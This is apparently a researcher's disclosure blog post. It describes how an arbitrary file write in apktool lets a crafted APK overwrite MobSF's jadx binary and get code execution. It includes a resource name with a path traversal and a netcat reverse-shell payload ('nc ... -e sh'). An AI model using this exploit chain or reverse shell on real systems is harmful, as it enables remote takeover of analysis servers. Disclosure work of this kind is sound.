I have found an arbitrary file write in apktool and reported via github security advisory.
I was aware that many projects were relied upon or dependent to apktool but after the publish of advisory and fix not many seem to be noticed or cared about it.
I decided to check its impact and exploitability in some of the big dependants, I have then started with MobSF.
The vulnerability allows us to write anything at a relative path to “${decode target path}/res/”, the biggest impact would be getting an RCE. But there is a catch, written file is not an executable.
I had these 2 ideas in my mind before diving in:
But what if we’re just lucky enough to have an app that changes permissions of a file to executable? And even more lucky to have it run afterwards? And it all needs to happen after execution of apktool.
That’s the exact situation with the MobSF. MobSF uses jadx as a part of its static analysis, it calls jadx via subprocess, but right before that it changes the permission of jadx to executable.
Log excerpt where apktool, chmod and jadx are respectively called:
[INFO] 07/Jan/2024 20:44:16 - Getting AndroidManifest.xml from APK
[INFO] 07/Jan/2024 20:44:16 - Converting AXML to XML
[INFO] 07/Jan/2024 20:44:16 - executed command: /jdk-20.0.2/bin/java -jar -Djdk.util.zip.disableZip64ExtraFieldValidation=true /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/apktool_2.9.1.jar --match-original --frame-path /tmp -f -s d /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/6cae29cb89b3aac3890c1d4d21fcc756.apk -o /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/apktool_out
.
.
.
[INFO] 07/Jan/2024 20:44:20 - Decompiling to Java with jadx
[INFO] 07/Jan/2024 20:44:20 - executed command: chmod +x /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx
[INFO] 07/Jan/2024 20:44:20 - executed command: /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx -ds /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/java_source/ -q -r --show-bad-code /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/6cae29cb89b3aac3890c1d4d21fcc756.apk We will use jadx as a target, but we need to have relative path of jadx to res folder. We can get that by using os.path.relpath() in python function.
Our resource base folder is “/home/mobsf/.MobSF/uploads/680b420ade61b64ce7c024a2ed6bc94d/apktool_out/”
We want to overwrite jadx binary at path: “/home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx”
import os
jadx_path = "/home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx"
res_base_path = "/home/mobsf/.MobSF/uploads/680b420ade61b64ce7c024a2ed6bc94d/apktool_out/res"
os.path.relpath(jadx_path, res_base_path)
>>> '../../../../Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx' Our payload will be in res/raw/jadx
#!/bin/bash
nc host.docker.internal 9001 -e sh Resource name will be “../../../../Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx”
Upload the apk and wait for the jadx to be executed, we’ll get a shell on our nc listener.
Bingo!
I then have reported this to MobSF team via email, got a prompt reply and they have fixed it by updating to newer apktool version, but behavior of making jadx executable and running it afterwards is still there.
I would rather have set permission fixed in advance and kept the directory non-writable.
When people ask how UDP works, the simplest answer is this: UDP sends data quickly…
Endpoint Detection and Response (EDR) solutions have become a cornerstone of modern cybersecurity, designed to…
A large-scale malware campaign leveraging AI-assisted development techniques has been uncovered, revealing how attackers are…
How Does a Firewall Work Step by Step? What Is a Firewall and How Does…
People trying to securely connect to work are being tricked into doing the exact opposite.…
A newly disclosed Android vulnerability is making noise for a good reason. Researchers showed that…